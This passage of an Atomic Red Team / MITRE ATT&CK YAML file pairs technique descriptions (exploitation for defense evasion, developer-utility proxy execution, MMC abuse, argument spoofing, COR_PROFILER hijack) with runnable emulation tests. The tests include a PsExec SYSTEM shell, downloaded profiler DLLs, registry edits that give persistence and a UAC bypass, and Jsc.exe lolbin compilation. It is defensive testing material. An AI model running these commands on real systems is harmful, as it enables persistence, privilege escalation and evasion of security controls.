"PathToAtomicsFolder\..\ExternalPayloads\" -ErrorAction Ignore -Force | Out-Null Invoke-WebRequest "https://download.sysinternals.com/files/PSTools.zip" -OutFile "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" Expand-Archive "PathToAtomicsFolder\..\ExternalPayloads\PsTools.zip" "PathToAtomicsFolder\..\ExternalPayloads\PsTools" -Force Copy-Item "PathToAtomicsFolder\..\ExternalPayloads\PsTools\PsExec.exe" "PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -Force executor: name: command_prompt elevation_required: true command: '"PathToAtomicsFolder\..\ExternalPayloads\PsExec.exe" -accepteula -s %COMSPEC% /c whoami ' T1211: technique: modified: '2023-10-15T11:41:47.274Z' name: Exploitation for Defense Evasion description: |- Adversaries may exploit a system or application vulnerability to bypass security features. Exploitation of a vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Vulnerabilities may exist in defensive security software that can be used to disable or circumvent them. Adversaries may have prior knowledge through reconnaissance that security software exists within an environment or they may perform checks during or shortly after the system is compromised for [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001). The security software will likely be targeted directly for exploitation. There are examples of antivirus software being targeted by persistent threat groups to avoid detection. There have also been examples of vulnerabilities in public cloud infrastructure of SaaS applications that may bypass defense boundaries (Citation: Salesforce zero-day in facebook phishing attack), evade security logs (Citation: Bypassing CloudTrail in AWS Service Catalog), or deploy hidden infrastructure.(Citation: GhostToken GCP flaw) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_contributors: - John Lambert, Microsoft Threat Intelligence Center x_mitre_deprecated: false x_mitre_detection: Exploitation for defense evasion may happen shortly after the system has been compromised to prevent detection during later actions for for additional tools that may be brought in and used. Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the system that might indicate successful compromise, such as abnormal behavior of processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Linux - Windows - macOS - SaaS - IaaS x_mitre_version: '1.4' x_mitre_data_sources: - 'Application Log: Application Log Content' - 'Process: Process Creation' x_mitre_defense_bypassed: - Anti-virus - System access controls type: attack-pattern id: attack-pattern--fe926152-f431-4baf-956c-4ad3cb0bf23b created: '2018-04-18T17:59:24.739Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1211 external_id: T1211 - source_name: Salesforce zero-day in facebook phishing attack description: Bill Toulas. (2023, August 2). Hackers exploited Salesforce zero-day in Facebook phishing attack. Retrieved September 18, 2023. url: https://www.bleepingcomputer.com/news/security/hackers-exploited-salesforce-zero-day-in-facebook-phishing-attack/ - source_name: Bypassing CloudTrail in AWS Service Catalog description: Nick Frichette. (2023, March 20). Bypassing CloudTrail in AWS Service Catalog, and Other Logging Research. Retrieved September 18, 2023. url: https://securitylabs.datadoghq.com/articles/bypass-cloudtrail-aws-service-catalog-and-other/ - source_name: GhostToken GCP flaw description: Sergiu Gatlan. (2023, April 21). GhostToken GCP flaw let attackers backdoor Google accounts. Retrieved September 18, 2023. url: https://www.bleepingcomputer.com/news/security/ghosttoken-gcp-flaw-let-attackers-backdoor-google-accounts/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1127: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Casey Smith - Matthew Demaske, Adaptforward object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--ff25900d-76d5-449b-a351-8824e62fc81b created: '2017-05-31T21:31:39.262Z' x_mitre_version: '1.2' external_references: - source_name: mitre-attack external_id: T1127 url: https://attack.mitre.org/techniques/T1127 - source_name: Exploit Monday WinDbg url: http://www.exploit-monday.com/2016/08/windbg-cdb-shellcode-runner.html description: Graeber, M. (2016, August 15). Bypassing Application Whitelisting by using WinDbg/CDB as a Shellcode Runner. Retrieved May 26, 2017. - source_name: LOLBAS Tracker url: https://lolbas-project.github.io/lolbas/OtherMSBinaries/Tracker/ description: LOLBAS. (n.d.). Tracker.exe. Retrieved July 31, 2019. - source_name: engima0x3 RCSI Bypass url: https://enigma0x3.net/2016/11/21/bypassing-application-whitelisting-by-using-rcsi-exe/ description: Nelson, M. (2016, November 21). Bypassing Application Whitelisting By Using rcsi.exe. Retrieved May 26, 2017. - source_name: engima0x3 DNX Bypass url: https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/ description: Nelson, M. (2017, November 17). Bypassing Application Whitelisting By Using dnx.exe. Retrieved May 25, 2017. x_mitre_deprecated: false revoked: false description: 'Adversaries may take advantage of trusted developer utilities to proxy execution of malicious payloads. There are many utilities used for software development related tasks that can be used to execute code in various forms to assist in development, debugging, and reverse engineering.(Citation: engima0x3 DNX Bypass)(Citation: engima0x3 RCSI Bypass)(Citation: Exploit Monday WinDbg)(Citation: LOLBAS Tracker) These utilities may often be signed with legitimate certificates that allow them to execute on a system and proxy execution of malicious code through a trusted process that effectively bypasses application control solutions.' modified: '2022-05-24T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Trusted Developer Utilities Proxy Execution x_mitre_detection: |- Monitor for abnormal presence of these or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious. Use process monitoring to monitor the execution and arguments of from developer utilities that may be abused. Compare recent invocations of those binaries with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity. It is likely that these utilities will be used by software developers or for other software development related tasks, so if it exists and is used outside of that context, then the event may be suspicious. Command arguments used before and after invocation of the utilities may also be useful in determining the origin and purpose of the binary being executed. kill_chain_phases: - phase_name: defense-evasion kill_chain_name: mitre-attack x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Command: Command Execution' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application Control x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1127 atomic_tests: - name: Lolbin Jsc.exe compile javascript to exe auto_generated_guid: 1ec1c269-d6bd-49e7-b71b-a461f7fa7bc8 description: | Use jsc.exe to compile javascript code stored in scriptfile.js and output scriptfile.exe. https://lolbas-project.github.io/lolbas/Binaries/Jsc/ https://www.phpied.com/make-your-javascript-a-windows-exe/ supported_platforms: - windows input_arguments: filename: description: Location of the project file type: path default: PathToAtomicsFolder\T1127\src\hello.js jscpath: description: Default location of jsc.exe type: path default: C:\Windows\Microsoft.NET\Framework\v4.0.30319 jscname: description: Default name of jsc type: path default: jsc.exe dependency_executor_name: powershell dependencies: - description: 'JavaScript code file must exist on disk at specified location (#{filename}) ' prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/hello.js" -OutFile "#{filename}" executor: command: | copy "#{filename}" %TEMP%\hello.js #{jscpath}\#{jscname} %TEMP%\hello.js cleanup_command: | del %TEMP%\hello.js del %TEMP%\hello.exe name: command_prompt - name: Lolbin Jsc.exe compile javascript to dll auto_generated_guid: 3fc9fea2-871d-414d-8ef6-02e85e322b80 description: | Use jsc.exe to compile javascript code stored in Library.js and output Library.dll. https://lolbas-project.github.io/lolbas/Binaries/Jsc/ https://www.phpied.com/make-your-javascript-a-windows-exe/ supported_platforms: - windows input_arguments: filename: description: Location of the project file type: path default: PathToAtomicsFolder\T1127\src\LibHello.js jscpath: description: Default location of jsc.exe type: path default: C:\Windows\Microsoft.NET\Framework\v4.0.30319 jscname: description: Default name of jsc type: path default: jsc.exe dependency_executor_name: powershell dependencies: - description: 'JavaScript code file must exist on disk at specified location (#{filename}) ' prereq_command: 'if (Test-Path "#{filename}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{filename}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1127/src/LibHello.js" -OutFile "#{filename}" executor: command: | copy "#{filename}" %TEMP%\LibHello.js #{jscpath}\#{jscname} /t:library %TEMP%\LibHello.js cleanup_command: | del %TEMP%\LibHello.js del %TEMP%\LibHello.dll name: command_prompt T1218.014: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Wes Hurd object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--ffbcfdb0-de22-4106-9ed3-fc23c8a01407 created: '2021-09-28T01:36:41.638Z' x_mitre_version: '2.0' external_references: - source_name: mitre-attack external_id: T1218.014 url: https://attack.mitre.org/techniques/T1218/014 - source_name: abusing_com_reg url: https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/ description: 'bohops. (2018, August 18). ABUSING THE COM REGISTRY STRUCTURE (PART 2): HIJACKING & LOADING TECHNIQUES. Retrieved September 20, 2021.' - source_name: mmc_vulns url: https://research.checkpoint.com/2019/microsoft-management-console-mmc-vulnerabilities/ description: Boxiner, A., Vaknin, E. (2019, June 11). Microsoft Management Console (MMC) Vulnerabilities. Retrieved September 24, 2021. - source_name: win_msc_files_overview url: https://www.ghacks.net/2017/06/10/windows-msc-files-overview/ description: Brinkmann, M.. (2017, June 10). Windows .msc files overview. Retrieved September 20, 2021. - source_name: win_mmc url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/mmc description: Microsoft. (2017, October 16). mmc. Retrieved September 20, 2021. - source_name: win_wbadmin_delete_catalog url: https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wbadmin-delete-catalog description: Microsoft. (2017, October 16). wbadmin delete catalog. Retrieved September 20, 2021. - source_name: win_clsid_key url: https://docs.microsoft.com/en-us/windows/win32/com/clsid-key-hklm description: Microsoft. (2018, May 31). CLSID Key. Retrieved September 24, 2021. - source_name: what_is_mmc url: https://docs.microsoft.com/en-us/troubleshoot/windows-server/system-management-components/what-is-microsoft-management-console description: Microsoft. (2020, September 27). What is Microsoft Management Console?. Retrieved October 5, 2021. - source_name: phobos_virustotal url: https://www.virustotal.com/gui/file/0b4c743246478a6a8c9fa3ff8e04f297507c2f0ea5d61a1284fe65387d172f81/detection description: Phobos Ransomware. (2020, December 30). Phobos Ransomware, Fast.exe. Retrieved September 20, 2021. x_mitre_deprecated: false revoked: false description: "Adversaries may abuse mmc.exe to proxy execution of malicious .msc files. Microsoft Management Console (MMC) is a binary that may be signed by Microsoft and is used in several ways in either its GUI or in a command prompt.(Citation: win_mmc)(Citation: what_is_mmc) MMC can be used to create, open, and save custom consoles that contain administrative tools created by Microsoft, called snap-ins. These snap-ins may be used to manage Windows systems locally or remotely. MMC can also be used to open Microsoft created .msc files to manage system configuration.(Citation: win_msc_files_overview)\n\nFor example, mmc C:\\Users\\foo\\admintools.msc /a will open a custom, saved console msc file in author mode.(Citation: win_mmc) Another common example is mmc gpedit.msc, which will open the Group Policy Editor application window. \n\nAdversaries may use MMC commands to perform malicious tasks. For example, mmc wbadmin.msc delete catalog -quiet deletes the backup catalog on the system (i.e. [Inhibit System Recovery](https://attack.mitre.org/techniques/T1490)) without prompts to the user (Note: wbadmin.msc may only be present by default on Windows Server operating systems).(Citation: win_wbadmin_delete_catalog)(Citation: phobos_virustotal)\n\nAdversaries may also abuse MMC to execute malicious .msc files. For example, adversaries may first create a malicious registry Class Identifier (CLSID) subkey, which uniquely identifies a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) class object.(Citation: win_clsid_key) Then, adversaries may create custom consoles with the “Link to Web Address” snap-in that is linked to the malicious CLSID subkey.(Citation: mmc_vulns) Once the .msc file is saved, adversaries may invoke the malicious CLSID payload with the following command: mmc.exe -Embedding C:\\path\\to\\test.msc.(Citation: abusing_com_reg)" modified: '2022-10-25T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: MMC x_mitre_detection: "Monitor processes and command-line parameters for suspicious or malicious use of MMC. Since MMC is a signed Windows binary, verify use of MMC is legitimate and not malicious. \n\nMonitor for creation and use of .msc files. MMC may legitimately be used to call Microsoft-created .msc files, such as services.msc or eventvwr.msc. Invoking non-Microsoft .msc files may be an indicator of malicious activity. " kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_is_subtechnique: true x_mitre_data_sources: - 'Command: Command Execution' - 'File: File Creation' - 'Process: Process Creation' x_mitre_defense_bypassed: - Application control - Digital Certificate Validation x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1564.010: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ffe59ad3-ad9b-4b9f-b74f-5beb3c309dc1 type: attack-pattern created: '2021-11-19T14:13:11.335Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1564.010 url: https://attack.mitre.org/techniques/T1564/010 - source_name: Microsoft PEB 2021 url: https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb description: Microsoft. (2021, October 6). PEB structure (winternl.h). Retrieved November 19, 2021. - source_name: Xpn Argue Like Cobalt 2019 url: https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/ description: Chester, A. (2019, January 28). How to Argue like Cobalt Strike. Retrieved November 19, 2021. - source_name: Cobalt Strike Arguments 2019 url: https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/ description: Mudge, R. (2019, January 2). https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/. Retrieved November 19, 2021. - source_name: Nviso Spoof Command Line 2020 url: https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/ description: 'Daman, R. (2020, February 4). The return of the spoof part 2: Command line spoofing. Retrieved November 19, 2021.' - source_name: FireEye FiveHands April 2021 url: https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html description: 'McLellan, T. and Moore, J. et al. (2021, April 29). UNC2447 SOMBRAT and FIVEHANDS Ransomware: A Sophisticated Financial Threat. Retrieved June 2, 2021.' - source_name: Mandiant Endpoint Evading 2019 url: https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode description: 'Pena, E., Erikson, C. (2019, October 10). Staying Hidden on the Endpoint: Evading Detection with Shellcode. Retrieved November 29, 2021.' modified: '2022-05-11T14:00:00.188Z' name: Process Argument Spoofing description: |- Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019) Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) WriteProcessMemory() function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020) Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021) This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: |- Detection of process argument spoofing may be difficult as adversaries may momentarily modify stored arguments used for malicious execution. These changes may bypass process creation detection and/or later process memory analysis. Consider monitoring for [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), which includes monitoring for process creation (especially those in a suspended state) as well as access and/or modifications of these processes (especially by the parent process) via Windows API calls.(Citation: Nviso Spoof Command Line 2020)(Citation: Mandiant Endpoint Evading 2019) Analyze process behavior to determine if a process is performing actions it usually does not and/or do no align with its logged command-line arguments. x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' x_mitre_permissions_required: - User spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 atomic_tests: [] T1574.012: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack x_mitre_contributors: - Jesse Brown, Red Canary object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--ffeb0780-356e-4261-b036-cfb6bd234335 type: attack-pattern created: '2020-06-24T22:30:55.843Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1574.012 url: https://attack.mitre.org/techniques/T1574/012 - source_name: Microsoft Profiling Mar 2017 url: https://docs.microsoft.com/en-us/dotnet/framework/unmanaged-api/profiling/profiling-overview description: Microsoft. (2017, March 30). Profiling Overview. Retrieved June 24, 2020. - source_name: Microsoft COR_PROFILER Feb 2013 url: https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ee471451(v=vs.100) description: Microsoft. (2013, February 4). Registry-Free Profiler Startup and Attach. Retrieved June 24, 2020. - source_name: RedCanary Mockingbird May 2020 url: https://redcanary.com/blog/blue-mockingbird-cryptominer/ description: Lambert, T. (2020, May 7). Introducing Blue Mockingbird. Retrieved May 26, 2020. - source_name: Red Canary COR_PROFILER May 2020 url: https://redcanary.com/blog/cor_profiler-for-persistence/ description: Brown, J. (2020, May 7). Detecting COR_PROFILER manipulation for persistence. Retrieved June 24, 2020. - source_name: Almond COR_PROFILER Apr 2019 url: https://offsec.almond.consulting/UAC-bypass-dotnet.html description: Almond. (2019, April 30). UAC bypass via elevated .NET applications. Retrieved June 24, 2020. - source_name: GitHub OmerYa Invisi-Shell url: https://github.com/OmerYa/Invisi-Shell description: Yair, O. (2019, August 19). Invisi-Shell. Retrieved June 24, 2020. - source_name: subTee .NET Profilers May 2017 url: https://web.archive.org/web/20170720041203/http://subt0x10.blogspot.com/2017/05/subvert-clr-process-listing-with-net.html description: Smith, C. (2017, May 18). Subvert CLR Process Listing With .NET Profilers. Retrieved June 24, 2020. modified: '2022-04-25T14:00:00.188Z' name: 'Hijack Execution Flow: COR_PROFILER' description: |- Adversaries may leverage the COR_PROFILER environment variable to hijack the execution flow of programs that load the .NET CLR. The COR_PROFILER is a .NET Framework feature which allows developers to specify an unmanaged (or external of .NET) profiling DLL to be loaded into each .NET process that loads the Common Language Runtime (CLR). These profilers are designed to monitor, troubleshoot, and debug managed code executed by the .NET CLR.(Citation: Microsoft Profiling Mar 2017)(Citation: Microsoft COR_PROFILER Feb 2013) The COR_PROFILER environment variable can be set at various scopes (system, user, or process) resulting in different levels of influence. System and user-wide environment variable scopes are specified in the Registry, where a [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) object can be registered as a profiler DLL. A process scope COR_PROFILER can also be created in-memory without modifying the Registry. Starting with .NET Framework 4, the profiling DLL does not need to be registered as long as the location of the DLL is specified in the COR_PROFILER_PATH environment variable.(Citation: Microsoft COR_PROFILER Feb 2013) Adversaries may abuse COR_PROFILER to establish persistence that executes a malicious DLL in the context of all .NET processes every time the CLR is invoked. The COR_PROFILER can also be used to elevate privileges (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)) if the victim .NET process executes at a higher permission level, as well as to hook and [Impair Defenses](https://attack.mitre.org/techniques/T1562) provided by .NET processes.(Citation: RedCanary Mockingbird May 2020)(Citation: Red Canary COR_PROFILER May 2020)(Citation: Almond COR_PROFILER Apr 2019)(Citation: GitHub OmerYa Invisi-Shell)(Citation: subTee .NET Profilers May 2017) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: persistence - kill_chain_name: mitre-attack phase_name: privilege-escalation - kill_chain_name: mitre-attack phase_name: defense-evasion x_mitre_detection: 'For detecting system and user scope abuse of the COR_PROFILER, monitor the Registry for changes to COR_ENABLE_PROFILING, COR_PROFILER, and COR_PROFILER_PATH that correspond to system and user environment variables that do not correlate to known developer tools. Extra scrutiny should be placed on suspicious modification of these Registry keys by command line tools like wmic.exe, setx.exe, and [Reg](https://attack.mitre.org/software/S0075), monitoring for command-line arguments indicating a change to COR_PROFILER variables may aid in detection. For system, user, and process scope abuse of the COR_PROFILER, monitor for new suspicious unmanaged profiling DLLs loading into .NET processes shortly after the CLR causing abnormal process behavior.(Citation: Red Canary COR_PROFILER May 2020) Consider monitoring for DLL files that are associated with COR_PROFILER environment variables.' x_mitre_is_subtechnique: true x_mitre_version: '1.0' x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 x_mitre_data_sources: - 'Process: Process Creation' - 'Windows Registry: Windows Registry Key Modification' - 'Module: Module Load' - 'Command: Command Execution' x_mitre_permissions_required: - User - Administrator spec_version: '2.1' x_mitre_attack_spec_version: 2.1.0 identifier: T1574.012 atomic_tests: - name: User scope COR_PROFILER auto_generated_guid: 9d5f89dc-c3a5-4f8a-a4fc-a6ed02e7cb5a description: | Creates user scope environment variables and CLSID COM object to enable a .NET profiler (COR_PROFILER). The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by the Event Viewer process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unmanaged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | Write-Host "Creating registry keys in HKCU:Software\Classes\CLSID\#{clsid_guid}" -ForegroundColor Cyan New-Item -Path "HKCU:\Software\Classes\CLSID\#{clsid_guid}\InprocServer32" -Value "#{file_name}" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path HKCU:\Environment -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null Write-Host "executing eventvwr.msc" -ForegroundColor Cyan START MMC.EXE EVENTVWR.MSC cleanup_command: "Remove-Item -Path \"HKCU:\\Software\\Classes\\CLSID\\#{clsid_guid}\" -Recurse -Force -ErrorAction Ignore \nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_ENABLE_PROFILING\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER\" -Force -ErrorAction Ignore | Out-Null\nRemove-ItemProperty -Path HKCU:\\Environment -Name \"COR_PROFILER_PATH\" -Force -ErrorAction Ignore | Out-Null\n" name: powershell - name: System Scope COR_PROFILER auto_generated_guid: f373b482-48c8-4ce4-85ed-d40c8b3f7310 description: | Creates system scope environment variables to enable a .NET profiler (COR_PROFILER). System scope environment variables require a restart to take effect. The unmanaged profiler DLL (T1574.012x64.dll`) executes when the CLR is loaded by any process. Additionally, the profiling DLL will inherit the integrity level of Event Viewer bypassing UAC and executing `notepad.exe` with high integrity. If the account used is not a local administrator the profiler DLL will still execute each time the CLR is loaded by a process, however, the notepad process will not execute with high integrity. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unmanaged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | Write-Host "Creating system environment variables" -ForegroundColor Cyan New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -PropertyType String -Value "1" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -PropertyType String -Value "#{clsid_guid}" -Force | Out-Null New-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -PropertyType String -Value "#{file_name}" -Force | Out-Null cleanup_command: | Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_ENABLE_PROFILING" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER" -Force -ErrorAction Ignore | Out-Null Remove-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment' -Name "COR_PROFILER_PATH" -Force -ErrorAction Ignore | Out-Null name: powershell elevation_required: true - name: Registry-free process scope COR_PROFILER auto_generated_guid: 79d57242-bbef-41db-b301-9d01d9f6e817 description: | Creates process scope environment variables to enable a .NET profiler (COR_PROFILER) without making changes to the registry. The unmanaged profiler DLL (`T1574.012x64.dll`) executes when the CLR is loaded by PowerShell. Reference: https://redcanary.com/blog/cor_profiler-for-persistence/ supported_platforms: - windows input_arguments: file_name: description: unamanged profiler DLL type: path default: PathToAtomicsFolder\T1574.012\bin\T1574.012x64.dll clsid_guid: description: custom clsid guid type: string default: "{09108e71-974c-4010-89cb-acf471ae9e2c}" dependency_executor_name: powershell dependencies: - description: '"#{file_name}" must be present ' prereq_command: 'if (Test-Path "#{file_name}") {exit 0} else {exit 1} ' get_prereq_command: | New-Item -Type Directory (split-path "#{file_name}") -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1574.012/bin/T1574.012x64.dll" -OutFile "#{file_name}" executor: command: | $env:COR_ENABLE_PROFILING = 1 $env:COR_PROFILER = '#{clsid_guid}' $env:COR_PROFILER_PATH = '"#{file_name}"' POWERSHELL -c 'Start-Sleep 1' cleanup_command: | $env:COR_ENABLE_PROFILING = 0 $env:COR_PROFILER = '' $env:COR_PROFILER_PATH = '' name: powershell privilege-escalation: T1055.011: technique: x_mitre_platforms: - Windows x_mitre_domains: - enterprise-attack object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 id: attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298 type: attack-pattern created: '2020-01-14T17:18:32.126Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 external_references: - source_name: mitre-attack external_id: T1055.011 url: https://attack.mitre.org/techniques/T1055/011 - url: https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx description: Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017. source_name: Microsoft Window Classes - url: https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx description: Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017. source_name: Microsoft GetWindowLong function - url: https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx description: Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017. source_name: Microsoft SetWindowLong function - url: https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process description: 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.' source_name: Elastic Process Injection July 2017 - url: https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html description: MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017. source_name: MalwareTech Power Loader Aug 2013 - url: https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/ description: Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017. source_name: WeLiveSecurity Gapz and Redyms Mar 2013 - url: https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx description: 